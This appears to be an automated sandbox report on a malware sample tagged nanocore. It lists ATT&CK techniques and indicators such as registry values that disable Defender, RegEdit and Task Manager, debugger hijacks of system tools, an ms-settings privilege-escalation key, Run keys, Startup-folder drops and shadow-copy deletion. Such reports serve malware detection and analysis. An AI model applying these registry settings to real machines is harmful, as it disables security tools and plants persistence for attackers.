nanocore | 1e9156661e450024bb8fb1ba3806d6c03cbf2b546200a4658800c4043b01b92b

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	sutbongtvv.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5980	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	sutbongtvv.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	sutbongtvv.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe"	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe"	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe"	sutbongtvv.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2812	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	sutbongtvv.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	sutbongtvv.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	sutbongtvv.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe"	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe"	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe"	sutbongtvv.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1344	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	sutbongtvv.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	sutbongtvv.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	sutbongtvv.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5180	wscript.exe
4232	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	sutbongtvv.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4600	sc.exe
1132	sc.exe
2512	sc.exe
1008	sc.exe
4516	sc.exe
3232	sc.exe
572	sc.exe
3748	sc.exe
4724	sc.exe
1172	sc.exe
2092	sc.exe
728	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4608	cmd.exe
4348	cmd.exe
6136	cmd.exe
3428	cmd.exe
1076	cmd.exe
4896	cmd.exe
1648	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5832	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2660	NETSTAT.EXE
3260	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4184	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5196	vssadmin.exe
5048	vssadmin.exe
5864	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	sutbongtvv.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134309183439801919"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	sutbongtvv.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe"	sutbongtvv.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	sutbongtvv.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	sutbongtvv.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	sutbongtvv.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	sutbongtvv.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvv.io_chrome.exe\" \"%1\""	sutbongtvv.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4948	schtasks.exe
728	schtasks.exe
1892	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2540	chrome.exe
2540	chrome.exe
5980	powershell.exe
5980	powershell.exe
5980	powershell.exe
5180	WMIC.exe
5180	WMIC.exe
5180	WMIC.exe
5180	WMIC.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
3216	WMIC.exe
3216	WMIC.exe
3216	WMIC.exe
3216	WMIC.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
2108	WMIC.exe
2108	WMIC.exe
2108	WMIC.exe
2108	WMIC.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe
5824	sutbongtvv.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5824	sutbongtvv.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeDebugPrivilege	5980	powershell.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeIncreaseQuotaPrivilege	5180	WMIC.exe
Token: SeSecurityPrivilege	5180	WMIC.exe
Token: SeTakeOwnershipPrivilege	5180	WMIC.exe
Token: SeLoadDriverPrivilege	5180	WMIC.exe
Token: SeSystemProfilePrivilege	5180	WMIC.exe
Token: SeSystemtimePrivilege	5180	WMIC.exe
Token: SeProfSingleProcessPrivilege	5180	WMIC.exe
Token: SeIncBasePriorityPrivilege	5180	WMIC.exe
Token: SeCreatePagefilePrivilege	5180	WMIC.exe
Token: SeBackupPrivilege	5180	WMIC.exe
Token: SeRestorePrivilege	5180	WMIC.exe
Token: SeShutdownPrivilege	5180	WMIC.exe
Token: SeDebugPrivilege	5180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5180	WMIC.exe
Token: SeRemoteShutdownPrivilege	5180	WMIC.exe
Token: SeUndockPrivilege	5180	WMIC.exe
Token: SeManageVolumePrivilege	5180	WMIC.exe
Token: 33	5180	WMIC.exe
Token: 34	5180	WMIC.exe
Token: 35	5180	WMIC.exe
Token: 36	5180	WMIC.exe
Token: SeBackupPrivilege	5020	vssvc.exe
Token: SeRestorePrivilege	5020	vssvc.exe
Token: SeAuditPrivilege	5020	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5180	WMIC.exe
Token: SeSecurityPrivilege	5180	WMIC.exe
Token: SeTakeOwnershipPrivilege	5180	WMIC.exe
Token: SeLoadDriverPrivilege	5180	WMIC.exe
Token: SeSystemProfilePrivilege	5180	WMIC.exe
Token: SeSystemtimePrivilege	5180	WMIC.exe
Token: SeProfSingleProcessPrivilege	5180	WMIC.exe
Token: SeIncBasePriorityPrivilege	5180	WMIC.exe
Token: SeCreatePagefilePrivilege	5180	WMIC.exe
Token: SeBackupPrivilege	5180	WMIC.exe
Token: SeRestorePrivilege	5180	WMIC.exe
Token: SeShutdownPrivilege	5180	WMIC.exe
Token: SeDebugPrivilege	5180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5180	WMIC.exe
Token: SeRemoteShutdownPrivilege	5180	WMIC.exe
Token: SeUndockPrivilege	5180	WMIC.exe
Token: SeManageVolumePrivilege	5180	WMIC.exe
Token: 33	5180	WMIC.exe
Token: 34	5180	WMIC.exe
Token: 35	5180	WMIC.exe
Token: 36	5180	WMIC.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe
Token: SeShutdownPrivilege	2540	chrome.exe
Token: SeCreatePagefilePrivilege	2540	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe
2540	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5824	sutbongtvv.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5824 wrote to memory of 2540	5824	sutbongtvv.io_chrome.exe	88
PID 2540 wrote to memory of 5920	2540	chrome.exe	89
PID 5824 wrote to memory of 5980	5824	sutbongtvv.io_chrome.exe	90
PID 2540 wrote to memory of 5832	2540	chrome.exe	93
PID 2540 wrote to memory of 1412	2540	chrome.exe	94
PID 2540 wrote to memory of 1412	2540	chrome.exe	94
PID 2540 wrote to memory of 4212	2540	chrome.exe	95
PID 2540 wrote to memory of 4212	2540	chrome.exe	95
PID 2540 wrote to memory of 2824	2540	chrome.exe	96
PID 2540 wrote to memory of 1652	2540	chrome.exe	97
PID 2540 wrote to memory of 2824	2540	chrome.exe	96
PID 2540 wrote to memory of 1652	2540	chrome.exe	97
PID 5824 wrote to memory of 4516	5824	sutbongtvv.io_chrome.exe	151
PID 5824 wrote to memory of 3232	5824	sutbongtvv.io_chrome.exe	100
PID 2540 wrote to memory of 4400	2540	chrome.exe	103
PID 2540 wrote to memory of 4400	2540	chrome.exe	103
PID 5824 wrote to memory of 572	5824	sutbongtvv.io_chrome.exe	102
PID 2540 wrote to memory of 5076	2540	chrome.exe	104
